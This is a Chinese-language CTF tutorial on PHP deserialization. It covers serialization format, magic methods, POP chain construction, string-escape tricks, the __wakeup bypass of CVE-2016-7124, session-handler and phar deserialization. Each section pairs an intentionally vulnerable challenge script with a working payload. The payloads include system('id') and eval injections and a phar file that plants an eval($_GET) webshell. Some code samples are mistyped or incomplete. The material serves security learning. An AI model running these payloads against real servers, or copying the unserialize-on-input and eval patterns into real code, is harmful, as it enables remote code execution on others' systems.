CTFWEB-反序列化篇
面向过程和面向对象
面向过程
面向过程是一种以"整体事件"为中心的编程思想,编程的时候把解决问题的步骤分析出来,然后用函数把这些步骤实现,在一步一步的具体步骤中再按顺序调用函数
面向对象
面向对象是一种以"对象"为中心的编程思想,把要解决的问题分解成各个"对象";对象是一个由信息及对信息进行处理的描述所组成的整体,是对现实世界的抽象。对象的三个特征:对象的行为,对象的形态,对象的表示
举个栗子,就好比你在家要吃蛋炒饭,你是不是要先打鸡蛋,然后起锅烧油。。。一步步的,最后得到一份蛋炒饭,这就是面向过程。还是你想吃蛋炒饭,但是你是去外面饭店里吃,你只需要下单,而炒蛋炒饭这一系列的操作是饭店来做,而你只需要下单,这所有的操作都是已经提前封装好了的,这就是面向对象
类与对象
类是定义了一件事物的抽象特点,它将数据的形式以及这些数据上的操作封装在一起。对象是具有类类型的变量,是对类的实例。
类是对象的抽象,而对象是类的具体实例
类是想法,把类实例化 (new) ,调用具体值后就变成了对象
举个简单的例子,你去水果店买水果,你跟老板说买个水果,老板蒙了因为你说的是一个类,是一个抽象的概念,水果有苹果,橘子等等,它们就是水果这个类里面的对象,你得具体到像苹果,这样的对象,老板才能给你拿
类的内部构成
成员变量(属性)+成员函数(方法)
成员变量
定义在类内部的变量。该变量的值对外是不可见的,但是可以通过成员函数访问,在类被实例化为对象后。改变量即可成为对象的属性。
成员函数
定义在类的内部,可用于访问对象的数据
类的结构
类:定义类名、定义成员变量(属性)、定义成员函数(方法)
class Class_Name{
//成员变量声明
//成员函数声明
}
类的内容
下面是一个简单的类
<?php
highlight_file(__FILE__);
class hero{ //定义类(类名)
var $name; //声明成员变量,var为一种修饰符
var $sex;
function jineng($var1) { //声明成员函数(方法)
echo $this->name; //使用预定义$this调用成员变量
echo $var1; //成员函数传参$var1可直接调用
}
}
$cyj=new hero(); //实例化类hero()为对象cyj
$cyj->name='chengyaojin'; //参数赋值
$cyj->sex='man';
$cyj->jineng('zuofan'); //调用函数
print_r($cyj); //打印对象cyj
?>
类的修饰符介绍
在类中直接声明的变量称为成员属性(也可以成为成员变量)
可以在类中声明多个变量,即“对象”中可以有多个成员属性,每个变量都存储“对象”不同的属性信息
访问权限修饰符:对属性的定义
常用访问权限修饰符:
public
: 公共的,在类的内部、子类中,或者类的外部都可以使用,不受限制;
protected
: 受保护的,在类的内部、子类中可以使用,但不能在类的外部使用;
private
:私有的,只能在类的内部使用,在类的外部或者子类中都无法使用。
实例代码
<?php
highlight_file(__FILE__);
class hero{
public $name='chengyaojin'; //公共的
private $sex='man'; //私有的
protected $shengao='165'; //受保护的:内部、子类可用
function jineng($var1) {
echo $this->name; //所有属性的变量全部可用调用
echo $var1;
}
}
$cyj= new hero();
echo $cyj->name."<br />"; //外部可用
echo $cyj->sex."<br />"; //外部不可用
echo $cyj->shengao."<br />"; //外部不可用
?>
这串代码的执行结果是chengyaojin,因为name是公共的public
外部可用,而sex和shengao是私有private
的和受保护的protected
外部不可用
<?php
highlight_file(__FILE__);
class hero{
public $name='chengyaojin';
private $sex='man';
protected $shengao='165';
function jineng($var1) {
echo $this->name;
echo $var1;
}
}
class hero2 extends hero{
function test(){
echo $this->name."<br />";
echo $this->sex."<br />";
echo $this->shengao."<br />";
}
}
$cyj= new hero();
$cyj2=new hero2();
echo $cyj->name."<br />";
echo $cyj2->test();
?>
这串代码是子类继承,输出结果是
第一个name是公共的public
,子类可用继承过来,sex是私有的private
子类继承不了,而shengao是受保护的protected
,所以子类可用
类的成员方法
在类中定义的函数被称为成员方法
函数实现的是某个独立的功能;成员方法实现的是类中的一个行为,是类的一部分
可以在类中声明多个成员方法,成员方法的声明和函数声明完全一样,只不过在声明成员方法时可以在function关键字前加一些访问权限修饰符如public、protected、private (可以省略,默认为public)
什么是序列化
序列化的作用
序列化(serialization)是将对象的状态信息(属性)转换为可用存储或传输的形式的过程
序列化的几种数据类型
常见数据类型的序列化
所有格式第一位都是数据类型的英文字母简写
空字符 //null 序列化后 N;
整形 //123 序列化后 i:123;
浮点型 //12.3 序列化后 d:12.3;
Boolean型 //true/false 序列化后 b:1/0;
字符串 ‘132’ 序列化后 s:3(长度):'132';
表达方式
提一嘴,如果字符串是'123"45',那序列化后的结果是s:6:"123"45",那么中间有个"那不是到123就结束了,代码就报错了,所以它除了双引号外前面还有一个字符串长度来进行判断,里面的"就会被当成字符串
数组的序列化
<?php
highlight_file(__FILE__);
$a = array('benben','dazhuang','laoliu');
echo $a[0];
echo serialize($a);
?>
序列化结果
a:3:{i:0;s:6:"benben";i:1;s:8:"dazhuang";i:2;s:6:"laoliu";}
序列化结果分析
a:3 //数据类型 array,有3个元素
i:0; //数组的第0位,0是int类型所以是i
s:6:"benben" //这就没啥说的了,str类型长度为6,内容是benben
对象的序列化
<?php
highlight_file(__FILE__);
class test{
public $pub='benben';
function jineng(){
echo $this->pub;
}
}
$a = new test();
echo serialize($a);
?>
序列化结果
O:4:"test":1:{s:3:"pub";s:6:"benben";}
序列化结果分析
O:4:"test":1 //数据类型 object,4是类名长度,test是类名,1是变量数量
s:3:"pub";s:6:"benben"//s:3变量(成员属性)类型以及变量名字长度,"pub"变量名字;s,6值的类以及值的长度,"benben"变量值
序列化后的修饰符
私有属性的序列化
<?php
highlight_file(__FILE__);
class test{
private $pub='benben';
function jineng(){
echo $this->pub;
}
}
$a = new test();
echo serialize($a);
?>
序列化后的结果
O:4:"test":1:{s:9:"testpub";s:6:"benben";}
可以看到前面和之前的序列化结果没变化,但是testpub的长度不是7吗,长度为什么是9呢,这是因为private私有属性序列化时会在变量名前后添加一个空字符,也就是%00,我们在我们的命令行查看结果
受保护属性序列化
<?php
highlight_file(__FILE__);
class test{
protected $pub='benben';
function jineng(){
echo $this->pub;
}
}
$a = new test();
echo serialize($a);
?>
这个和私有差不多,序列化结果会在成员属性前加上*
,*前后再加上空字符也就是%00
O:4:"test":1:{s:6:"*pub";s:6:"benben";}
成员属性调用对象
<?php
highlight_file(__FILE__);
class test{
var $pub='benben';
function jineng(){
echo $this->pub;
}
}
class test2{
var $ben;
function __construct(){
$this->ben=new test();
}
}
$a = new test2();
echo serialize($a);
?>
可以看到它给test2的$ben属性赋的值是实例化后的test有点套娃的意思了。
O:5:"test2":1:{s:3:"ben";O:4:"test":1:{s:3:"pub";s:6:"benben";}}
只是把一个对象赋值给了一个成员属性,就不多说了
反序列化
1.反序列化之后的内容为一个对象
2.反序列化生成的对象里的值,由反序列化里的值提供,与原有类预定义的值无关
3.反序列化不触发类的成员方法;需要调用方法后才能触发
简单反序列化
来看一道简单例题
<?php
highlight_file(__FILE__);
error_reporting(0);
class test{
public $a = 'echo "this is test!!";';
public function displayVar() {
eval($this->a);
}
}
$get = $_GET["benben"];
$b = unserialize($get);
$b->displayVar() ;
?>
我们拿到反序列化题目,首先要分析执行命令的点,像这题,我们看到第7行有危险函数eval,它的可控变量是a,所以我们需要改变的只有$a的值,那我们直接构造pop链即可
<?php
class test{
public $a = "system('id');";
}
$a =new test();
echo urlencode(serialize($a));
?>
魔术方法构造和解析
什么是魔术方法
魔术方法是一个预定义好的,在特定情况下自动触发的行为方法。PHP中魔术方法的定义是把以两个下划线__开头的方法称为魔术方法
魔术方法的种类及作用
1.__construct(),类的构造函数
2.__destruct(),类的析构函数
3.__call(),在对象中调用一个不可访问方法时调用
4.__callStatic(),用静态方式中调用一个不可访问方法时调用
5.__get(),获得一个类的成员变量时调用
6.__set(),设置一个类的成员变量时调用
7.__isset(),当对不可访问属性调用isset()或empty()时调用
8.__unset(),当对不可访问属性调用unset()时被调用。
9.__sleep(),执行serialize()时,先会调用这个函数
10.__wakeup(),执行unserialize()时,先会调用这个函数
11.__toString(),类被当成字符串时的回应方法
12.__invoke(),调用函数的方式调用一个对象时的回应方法
13.__set_state(),调用var_export()导出类时,此静态方法会被调用。
14.__clone(),当对象复制完成时调用
15.__autoload(),尝试加载未定义的类
16.__debugInfo(),打印所需调试信息
__construct()
构造函数,在实例化一个对象的时候,首先会去自动执行的一个方法;
演示代码
<?php
highlight_file(__FILE__);
class User {
public $username;
public function __construct($username) {
$this->username = $username;
echo "触发了构造函数1次" ;
}
}
$test = new User("benben");
$ser = serialize($test);
unserialize($ser);
?>
代码中可用看到我们只是实例化了User这个类,并没有调用任何方法,按道理来说它不会执行任何结果,但是它返回了
也就是说__construct被触发了,那么它的触发时机就是实例化对象
__destruct()
解析函数,在对象的所有引用被删除或者当对象被显示销毁时执行的魔术方法
<?php
highlight_file(__FILE__);
class User {
public function __destruct()
{
echo "触发了析构函数1次"."<br />" ;
}
}
$test = new User("benben");
$ser = serialize($test);
unserialize($ser);
这串代码的执行结果是
可以看到触发了两次,那么是哪两次呢,第一次是第9行代码实例化对象结束后,代码运行完会销毁,触发一次,第二次则是第11行反序列化结束后,代码运行销毁,触发一次
看一道例题
<?php
highlight_file(__FILE__);
error_reporting(0);
class User {
var $cmd = "echo 'dazhuang666!!';" ;
public function __destruct()
{
eval ($this->cmd);
}
}
$ser = $_GET["benben"];
unserialize($ser);
?>
这道题也很简单,我们要做的是让它触发__destruct(),它在实例化,和反序列化时都会触发,我们构造pop链,就修改一下cmd的值
<?php
class User {
var $cmd = "system('ls /');" ;
}
$a = new User();
echo urlencode(serialize($a));
?>
__sleep()
序列化serialize() 函数会检查类中是否存在一个魔术方法 sleep()。
如果存在,该方法会先被调用,然后才执行序列化操作。
此功能可以用于清理对象,并返回一个包含对象中所有应被序列化的变量名称的数组。
如果该方法未返回任何内容,则 NULL 被序列化,并产生一个 E_NOTICE级别的错误。
例题
<?php
highlight_file(__FILE__);
error_reporting(0);
class User {
const SITE = 'uusama';
public $username;
public $nickname;
private $password;
public function __construct($username, $nickname, $password) {
$this->username = $username;
$this->nickname = $nickname;
$this->password = $password;
}
public function __sleep() {
system($this->username);
}
}
$cmd = $_GET['benben'];
$user = new User($cmd, 'b', 'c');
echo serialize($user);
?>
这道题将$cmd接收的值赋值给$username的值,然后在序列化的时候会触发__sleep(),所以能执行命令
__wakeup()
unserialize() 会检查是否存在一个 wakeup()方法。
如果存在,则会先调用_wakeup() 方法,预先准备对象需要的资源预先准备对象资源。
返回void,常用于反序列化操作中重新建立数据库连接或执行其他初始化操作。
其实就和__sleep类似一个是序列化前一个是在反序列化触发之前
演示代码
<?php
highlight_file(__FILE__);
error_reporting(0);
class User {
const SITE = 'uusama';
public $username;
public $nickname;
private $password;
private $order;
public function __wakeup() {
$this->password = $this->username;
}
}
$user_ser = 'O:4:"User":2:{s:8:"username";s:1:"a";s:8:"nickname";s:1:"b";}';
var_dump(unserialize($user_ser));
?>
这里我们的序列化字符串里是没有password的,但是当我们反序列化后,触发了__wakeup(),它将username的值赋给了password,所以执行结果为
object(User)#1 (4) { ["username"]=> string(1) "a" ["nickname"]=> string(1) "b" ["password":"User":private]=> string(1) "a" ["order":"User":private]=> NULL }
看例题
<?php
highlight_file(__FILE__);
error_reporting(0);
class User {
const SITE = 'uusama';
public $username;
public $nickname;
private $password;
private $order;
public function __wakeup() {
system($this->username);
}
}
$user_ser = $_GET['benben'];
unserialize($user_ser);
?>
触发点在__wakeup(),我们直接修改$username的值即可
__toString()
表达方式错误导致魔术方法触发,把对象当成字符串调用
演示代码
<?php
highlight_file(__FILE__);
error_reporting(0);
class User {
var $benben = "this is test!!";
public function __toString()
{
return '格式不对,输出不了!';
}
}
$test = new User() ;
print_r($test);
echo "<br />";
echo $test;
?>
这串代码的执行结果是
第一次是由print_r打印对象正常,没有触发;第二次用echo把$test当成字符串输出了,所以触发了__toString()
__invoke()
表达方式错误导致魔术方法触发,把对象当成函数调用
演示代码
<?php
highlight_file(__FILE__);
error_reporting(0);
class User {
var $benben = "this is test!!";
public function __invoke()
{
echo '它不是个函数!';
}
}
$test = new User() ;
echo $test ->benben;
echo "<br />";
echo $test() ->benben;
?>
输出结果为
第一次输出把类User实体化并赋值给$test为对象,正常输出对象里的值benben;第二次加()是把test当成函数test()来调用,此时触发__invoke()
错误调用相关魔术方法
__call()
触发时机:调用一个不存在的方法,__call()魔术方法由两个参数传参$arg1,$arg2,返回值就是调用的不存在的方法的名称和参数
演示代码
<?php
highlight_file(__FILE__);
error_reporting(0);
class User {
public function __call($arg1,$arg2)
{
echo "$arg1,$arg2[0]";
}
}
$test = new User() ;
$test -> callxxx('a');
?>
第11行调用的方法callxxx()不存在,触发魔术方法call(),触发call()传参$arg1,$arg2(callxxx,a)
$arg1,调用的不存在的方法的名称;
$arg2,调用的不存在的方法的参数;
__callStatic()
触发时机:静态调用或调用成员常量时使用的方法不存在,有2个参数传参$arg1,$arg2返回值: 调用的不存在的方法的名称和参数
演示代码
<?php
highlight_file(__FILE__);
error_reporting(0);
class User {
public function __callStatic($arg1,$arg2)
{
echo "$arg1,$arg2[0]";
}
}
$test = new User() ;
$test::callxxx('a');
?>
11行静态调用::时的方法callxxx()不存在触发calIStatic(),传参$arg1,$arg2 (callxxx,a)
__get()
触发时机:调用的成员属性不存在,__get()魔术方法有一个参数$arg1,返回值:不存在的成员属性的名称
演示代码
<?php
highlight_file(__FILE__);
error_reporting(0);
class User {
public $var1;
public function __get($arg1)
{
echo $arg1;
}
}
$test = new User() ;
$test ->var2;
?>
12行调用的成员属性var2不存在,触发get(),把不存在的属性名称var2赋值给$arg1
__set
触发时机:给不存在的成员属性赋值功能有一个两个参数$arg1,$arg2,返回值:不存在的成员属性的名称和赋的值
演示代码
<?php
highlight_file(__FILE__);
error_reporting(0);
class User {
public $var1;
public function __set($arg1 ,$arg2)
{
echo $arg1.','.$arg2;
}
}
$test = new User() ;
$test ->var2=1;
?>
12行给不存在的成员属性var2赋值为1先触发get(),再触发set(),$arg1,不存在成员属性的名称;$arg2,给不存在的成员属性var2赋的值
__isset()
触发时机: 对不可访问属性使用 isset() 或empty() 时,isset() 会被调用。有1个参数$arg1返回值:不存在的成员属性的名称
演示代码
<?php
highlight_file(__FILE__);
error_reporting(0);
class User {
private $var;
public function __isset($arg1 )
{
echo $arg1;
}
}
$test = new User() ;
isset($test->var);
?>
isset()调用的成员属性var不可访问或不存在
__unset()
触发时机:对不可访问属性使用 unsetli 时功能:有一个参数$arg1返回值:不存在的成员属性的名称
演示代码
<?php
highlight_file(__FILE__);
error_reporting(0);
class User {
private $var;
public function __unset($arg1 )
{
echo $arg1;
}
}
$test = new User() ;
unset($test->var);
?>
unset()调用的成员属性var不可访问或不存在
触发unset()
返回$arg1,不存在成员属性的名称
__clone()
触发时机:当使用 clone 关键字拷贝完成一个对象后,新对象会自动调用定义的魔术方法_clone()
演示代码
<?php
highlight_file(__FILE__);
error_reporting(0);
class User {
private $var;
public function __clone( )
{
echo "__clone test";
}
}
$test = new User() ;
$newclass = clone($test)
?>
使用clone()克隆对象完成后触发魔术方法 clone()
pop链前置知识
构造流程
开始上强度了,来看一道例题
<?php
highlight_file(__FILE__);
error_reporting(0);
class index {
private $test;
public function __construct(){
$this->test = new normal();
}
public function __destruct(){
$this->test->action();
}
}
class normal {
public function action(){
echo "please attack me";
}
}
class evil {
var $test2;
public function action(){
eval($this->test2);
}
}
unserialize($_GET['test']);
?>
当我们拿到这种反序列化题目时,我们的做题流程
1.寻找利用点,这题代码量少很明显在第21行的eval,eval的参数是test2的值
2.eval放在action()这个方法里,寻找调用action的地方,发现__destruct调用了action()
关联点:如何让stest调用evil里的成员方法action()解决思路:给$test赋值为对象$test = new evil()
pop链构造
<?php
class index {
private $test;
public function __construct(){
$this->test = new evil();
}
}
class evil {
var $test2 = "phpinfo();";
public function action(){
eval($this->test2);
}
}
$a = new index();
echo urlencode(serialize($a));
?>
还有一种构造方式
<?php
class index {
var $test; //由于private不能外部调用,我们先改成var
class evil {
var $test2;
}
$a = new evil(); //实例化eval()
$a->test2='phpinfo();'; //給实例化后的eval的test2成员属性赋值
$b =new index(); //实例化index()
$b->test = $a; //給实例化后的eval的test成员属性赋值
结果
O:5:"index":1:{s:4:"test";O:4:"evil":1:{s:5:"test2";s:10:"phpinfo();";}}
我们要进行修改
O:5:"index":1:{s:11:"%00index%00test";O:4:"evil":1:{s:5:"test2";s:10:"phpinfo();";}}
魔术方法触发的前提
魔术方法所在的类(或对象)被调用
举个栗子,看下面代码
<?php
highlight_file(__FILE__);
error_reporting(0);
class fast {
public $source;
public function __wakeup(){
echo "wakeup is here!!";
echo $this->source;
}
}
class sec {
var $benben;
public function __tostring(){
echo "tostring is here!!";
}
}
$a='O:3:"sec":1:{s:6:"benben";N;}';
echo unserialize($a);
$b='O:4:"fast":1:{s:6:"source";N;}';
echo unserialize($b);
?>
执行结果为
原因:18行反序列化的内容$a所调用的类sec()里不包括__wakeup(),故不会触发。20行 echo把反序列化生成的对象当成字符串输出,触发所在类内的__tostring()魔术方法
pop链构造解释
pop链
在反序列化中,我们能控制的数据就是对象中的属性值(成员变量所以在PHP反序列化中有一种漏洞利用方法叫”面向属性编程",POP( Property Oriented Programming).
POP链就是利用魔法方法在里面进行多次跳转然后获取敏感数据的种payload.
poc编写
POC(全称: Proof af concept) 中文译作概念验证在安全界可以理解成漏洞验证程序。Poc 是一段不完整的程序,仅仅是为了证明提出者的观点的一段代码。
<?php
//flag is in flag.php
highlight_file(__FILE__);
error_reporting(0);
class Modifier {
private $var;
public function append($value)
{
include($value);
echo $flag;
}
public function __invoke(){
$this->append($this->var);
}
}
class Show{
public $source;
public $str;
public function __toString(){
return $this->str->source;
}
public function __wakeup(){
echo $this->source;
}
}
class Test{
public $p;
public function __construct(){
$this->p = array();
}
public function __get($key){
$function = $this->p;
return $function();
}
}
if(isset($_GET['pop'])){
unserialize($_GET['pop']);
}
?>
这题的代码量就比较大了,我们来用倒推法进行分析
-1目标:触发echo,调用$flag
-2第一步:触发invoke,调用append,并使$var=flag.php
-3invoke触发条件:把对象当成函数
-4给$p赋值为对象,即function成为对象modifier,却被当成函数调用,触发modifier中的invoke
-5第二步:触发get,(触发条件:调用不存在的成员属性)
-6给$str赋值为对象test,而test中不存在成员属性source,则可触发test里的成员方法get
-7第三步:触发tostring(触发条件:把对象当成字符串)
-8给$source赋值为对象Show,当成字符串被echo调用,触发tostring
-9最终步:触发wakeup(反序列化字符串unserialize)
<?php
class Modifier {
private $var = "flag.php";
}
class Show{
public $source;
public $str;
}
class Test{
public $p;
}
$mod=new Modifier();
$test=new Test();
$test->p=$mod;
$show=new Show();
$show->source=$show;
$show->str=$test;
echo serialize($show);
?>
字符串逃逸
字符串逃逸成因
反序列化分隔符
反序列化以;}结束,后面的字符串不影响正常的反序列化
属性逃逸
一般在数据先经过一次serialize,再经过unserialize,在这个中间反序列化的字符串变多或变少的时候有可能存在反序列化属性逃逸
增多逃逸
反序列化字符串增多逃逸: 构造出一个逃逸成员属性第一个字符串增多,吐出多余代码,把多余位代码构造成逃逸的成员属性
演示代码
<?php
highlight_file(__FILE__);
error_reporting(0);
class A{
public $v1 = 'ls';
public $v2 = '123';
public function __construct($arga,$argc){
$this->v1 = $arga;
$this->v2 = $argc;
}
}
$a = $_GET['v1'];
$b = $_GET['v2'];
$data = serialize(new A($a,$b));
$data = str_replace("ls","pwd",$data);
var_dump(unserialize($data));
原本序列化后的字符串为
0:1:"A":2:s:2:"v1";s:2:"ls";s:2:"v2";s:3:"123";)
但是第16行把ls替换成了pwd,结果变成了
0:1:"A":2:s:2:"v1";s:2:"pwd";s:2:"v2";s:3:"123";)
虽然值变了,但是长度没变,这样的字符串是反序列化不了的,他会返回bool(false),字符增多,会把末尾多出来的字符挤出。
思路:把吐出来的字符构造成功能性代码
0:1:"A":2:(s:2:"v1";s:xx:"pwd "s:2:"v3";s:3:"666";)"s:2:"V2"s:3:"123
吐出这些字符:";s:2:"v3";s:3:"666;"},使结构完整,并且;}可以把反序列化结束掉,不再管后面的原功能性代码,增加的";s:2:"v3";s:3:"666";}一共22位,一个ls转成pwd增加一位字符,所以需要22个ls转成pwd
O:1:"A":2:{s:2:"v1";s:66:"lslslslslslslslslslslslslslslslslslslslslsls";s:2:"v3";s:3:"666";},"s:2:"v2" s:3:"123";}
0:1:"A":2:{s:2:"v1";s:66:"pwdpwdpwdpwdpwdpwdpwdpwdpwdpwdpwdpwdpwdpwdpwdpwdpwdpwdpwdpwdpwd
来看一道例题
<?php
highlight_file(__FILE__);
error_reporting(0);
function filter($name){
$safe=array("flag","php");
$name=str_replace($safe,"hack",$name);
return $name;
}
class test{
var $user;
var $pass='daydream';
function __construct($user){
$this->user=$user;
}
}
$param=$_GET['param'];
$param=serialize(new test($param));
$profile=unserialize(filter($param));
if ($profile->pass=='escaping'){
echo file_get_contents("flag.php");
}
?>
当我们拿到一道字符串逃逸的题目时
1.我们先要判断字符串过滤后是减少还是增多、
2.构造出关键成员属性序列化字符串
3.增多则判断一次吐出来多少个字符
4.构造payload
我们来分析这道题
$_GET['param']获取值给$param并放在实例化test里作为一个参数实例化触发__constuct赋值给$user
对$param值进行安全性检查filter把"flag","php"替换为"hack”,然后再反序列化
<?php
class test{
var $user= 'php';
var $pass='escaping';
}
$a = new test();
echo serialize($a);
?>
O:4:"test":2:{s:4:"user";s:3:"php";s:4:"pass";s:8:"escaping";}//序列化后结果
";s:4:"pass";s:8:"escaping";}是我们要逃逸的字符串,一共29个那我们就要传29个php
最终poc
phpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphp";s:4:"pass";s:8:"escaping";}
减少逃逸
反序列化字符串减少逃逸: 多逃逸出一个成员属性第一个字符串减少,吃掉有效代码,在第二个字符串构造代码
演示代码
<?php
highlight_file(__FILE__);
error_reporting(0);
class A{
public $v1 = "abcsystem()system()system()";
public $v2 = '123';
public function __construct($arga,$argc){
$this->v1 = $arga;
$this->v2 = $argc;
}
}
$a = $_GET['v1'];
$b = $_GET['v2'];
$data = serialize(new A($a,$b));
$data = str_replace("system()","",$data);
var_dump(unserialize($data));
?>
例题
<?php
highlight_file(__FILE__);
error_reporting(0);
function filter($name){
$safe=array("flag","php");
$name=str_replace($safe,"hk",$name);
return $name;
}
class test{
var $user;
var $pass;
var $vip = false ;
function __construct($user,$pass){
$this->user=$user;
$this->pass=$pass;
}
}
$param=$_GET['user'];
$pass=$_GET['pass'];
$param=serialize(new test($param,$pass));
$profile=unserialize(filter($param));
if ($profile->vip){
echo file_get_contents("flag.php");
}
?>
拿到题目的操作还是一样
1.判断字符串过滤后减少还是增多
2.构造出关键成员属性序列化字符串($vip=ture)
3.变少则判断吃掉的内容,并计算长度
4.构造payload并提交
我们来分析这道题
对$param的值'user'进行安全性检查,filter把"flag","php"替换为"hk",然后再反序列化,判断vip值是否为真。
最终目的:判断vip为真
<?php
class test{
var $user = "flag";
var $pass = "benben";
var $vip = ture;
}
echo serialize(new test());
O:4:"test":3:{s:4:"user";s:4:"flag";s:4:"pass";s:6:"benben";s:3:"vip";s:4:"ture";}
构造poc
?user=flagflagflagflagflagflagflagflagflagflag
&pass=1";s:4:"pass";s:6:"benben";s:3:"vip";s:4:"ture";}
代码执行流程
__weakup魔术方法绕过
反序列化漏洞: CVE-2016-7124
漏洞版本
PHP5<5.6.25
PHP7<7.0.10
漏洞产生原因:
如果存在__wakeup方法,调用 unserilize() 方法前则先调用__wakeup方法,但是序列化字符串中表示对象属性个数的值大于 真实的属性个数时,会跳过__wakeup()的执行
例子
<?php
error_reporting(0);
class secret{
var $file='index.php';
public function __construct($file){
$this->file=$file;
}
function __destruct(){
include_once($this->file);
echo $flag;
}
function __wakeup(){
$this->file='index.php';
}
}
$cmd=$_GET['cmd'];
if (!isset($cmd)){
highlight_file(__FILE__);
}
else{
if (preg_match('/[oc]:\d+:/i',$cmd)){
echo "Are you daydreaming?";
}
else{
unserialize($cmd);
}
}
//sercet in flag.php
?>
我们来分析一下题目
1.如果$cmd为空,显示源代码
2.如果不为空,进行正则表达,o:后面不能出现数字
3.目标反序列化后,调用__destruct(),把file定义成flag.php输出
<?php
class secret{
var $file='flag.php';
}
echo serialize(new secret());
O:6:"secret":1:{s:4:"file";s:8:"flag.php";}//序列化后结果
$a='O:+6:"secret":3:{s:4:"file";s:8:"flag.php";}';//进行修改
echo urlencode($a);//url编码
引用的利用方式
我们直接看题
<?php
highlight_file(__FILE__);
error_reporting(0);
include("flag.php");
class just4fun {
var $enter;
var $secret;
}
if (isset($_GET['pass'])) {
$pass = $_GET['pass'];
$pass=str_replace('*','\*',$pass);
}
$o = unserialize($pass);
if ($o) {
$o->secret = "*";
if ($o->secret === $o->enter)
echo "Congratulation! Here is my secret: ".$flag;
else
echo "Oh no... You can't fool me";
}
else echo "are you trolling?";
?>
这道题的触发点是secret的值和enter的值相等,就会输出flag,第18行已经表示了secret的值等于*
,但是我们传入的序列化字符串里不能有*
,那我们就可以使用引用。
<?php
class just4fun {
var $enter;
var $secret;
}
$a = new just4fun();
$a ->enter=&$a -> secret;
echo serialize($a);
第8行我们使用引用,这里的引用就类似于快捷方式,把enter变成secret的快捷方法,使用secret等于什么enter就等于什么
session反序列化
当session_start()被调用或者php.ini中session.auto_start为1时PHP内部调用会话管理器,访问用户session被序列化以后,存储到指定目录 (默认为/tmp)
漏洞产生: 写入格式和读取格式不一致
存取数据的格式有多种,常用的有三种
1.php //键名+竖线+经过serialize()函数序列化处理的值
2.php_serialize(php>+=5.5.4) //经过serialize()函数序列化处理的数组
3.php_binary //键名对应的ASCII字符+键名+经过serialize()函数序列化处理的值
php格式序列化
演示代码
<?php
highlight_file(__FILE__);
error_reporting(0);
session_start();
$_SESSION['benben'] = $_GET['ben'];
?>
php_serialize格式序列化
演示代码
<?php
highlight_file(__FILE__);
error_reporting(0);
ini_set('session.serialize_handler','php_serialize');
session_start();
$_SESSION['benben'] = $_GET['ben'];
$_SESSION['b'] = $_GET['b'];
?>
php_binary格式序列化
演示代码
<?php
highlight_file(__FILE__);
error_reporting(0);
ini_set('session.serialize_handler','php_binary');
session_start();
$_SESSION['benben'] = $_GET['ben'];
$_SESSION['b'] = $_GET['b'];
?>
这个的键名是二进制的ASCII值,06就是长度6
例题1
<?php
highlight_file(__FILE__);
error_reporting(0);
ini_set('session.serialize_handler','php_serialize');
session_start();
$_SESSION['ben'] = $_GET['a'];
?>
<?php
highlight_file(__FILE__);
error_reporting(0);
ini_set('session.serialize_handler','php');
session_start();
class D{
var $a;
function __destruct(){
eval($this->a);
}
}
?>
这道题有两个页面,save.php以php_serialize的格式提交,vul.php以php的格式反序列化
这道题很简单,我们先对触发点也就是vul.php的D修改$a的值序列化
O:1:"D":1:{s:1:"a";s:10:"phpinfo();";}
我们在O的前面加上|,那么当它用php_serialize序列化时得到的结果是
a:1:{s:3"ben";s:39:"|O:1:"D":1:{s:1:"a";s:10:"phpinfo();";}";}
然后当它使用php方式反序列化时|
前面的值会被当成键名,也就是a:1:{s:3"ben";s:39:"而后面的值O:1:"D":1:{s:1:"a";s:10:"phpinfo();";}";}会正常反序列化,从而触发eval
例题2
<?php
highlight_file(__FILE__);
/*hint.php*/
session_start();
class Flag{
public $name;
public $her;
function __wakeup(){
$this->her=md5(rand(1, 10000));
if ($this->name===$this->her){
include('flag.php');
echo $flag;
}
}
}
?>
打开题目,提示一个hint.php文件我们访问
<?php
highlight_file(__FILE__);
error_reporting(0);
ini_set('session.serialize_handler', 'php_serialize');
session_start();
$_SESSION['a'] = $_GET['a'];
?>
我们对题目进行分析index.php,我们的目的是输出flag,可以看到我们进行反序列化会触发__wakeup,它会给her赋值一个1-10000的随机数的md5值,然后判断name是否等于her,等于就会输出flag,他这题是使用默认方式对session读取也就是php方式,而我们的提交方式是php_serialize,和上题一样的思路再构造的pop链前加上|
<?php
class Flag{
public $name;
public $her;
}
$a = new Flag();
$a->name = &$a ->her; //要相等,所以我们这里使用引用
echo serialize($a);
O:4:"Flag":2:{s:4:"name";N;s:3:"her";R:2;}//序列化后的值
|O:4:"Flag":2:{s:4:"name";N;s:3:"her";R:2;}//记得加|
直接提交
phar反序列化
什么是phar
JAR是开发Java程序一个应用,包括所有的可执行、可访问的文件,都打包进了一个JAR文件里使得部署过程十分简单。
like a Java JAR,but foe PHP
PHAR("Php ARchive”)是PHP里类似于JAR的一种打包文件可以直接使用
它对于PHP 5.3 或更高版本,Phar后缀文件是默认开启支持的,可以直接使用它。
文件包含: phar伪协议,可读取.phar文件
phar的结构
stub phar 文件标识,格式为 xxx<?php xxx; HALT COMPLER();?>;(头部信息)
manifest 压缩文件的属性等信息,以序列化存储;
contents 压缩文件的内容;
signature 签名,放在文件未尾;
漏洞原理
manifest压缩文件的属性等信息,以序列化储存;存在一段序列化的字符串;
调用phar伪协议,可读取.phar文件
Phar协议解析文件时,会自动触发对manifest字段的序列化字符串进行反序列化
phar需要php>=5.2在php.ini中将phar.readonly设为off
例题1
<?php
highlight_file(__FILE__);
error_reporting(0);
class Testobj
{
var $output="echo 'ok';";
function __destruct()
{
eval($this->output);
}
}
if(isset($_GET['filename']))
{
$filename=$_GET['filename'];
var_dump(file_exists($filename));
}
?>
注意,我们得能上传一个phar文件才可以使用phar伪协议进行读取,然后反序列化触发关键代码
<?php
highlight_file(__FILE__);
class Testobj
{
var $output='';
}
@unlink('test.phar'); //删除之前的test.par文件(如果有)
$phar=new Phar('test.phar'); //创建一个phar对象,文件名必须以phar为后缀
$phar->startBuffering(); //开始写文件
$phar->setStub('<?php __HALT_COMPILER(); ?>'); //写入stub
$o=new Testobj();
$o->output='eval($_GET["a"]);';
$phar->setMetadata($o);//写入meta-data
$phar->addFromString("test.txt","test"); //添加要压缩的文件
$phar->stopBuffering();
?>
传上去直接访问跟参数即可
例题2
<?php
highlight_file(__FILE__);
error_reporting(0);
class TestObject {
public function __destruct() {
include('flag.php');
echo $flag;
}
}
$filename = $_POST['file'];
if (isset($filename)){
echo md5_file($filename);
}
//upload.php
?>
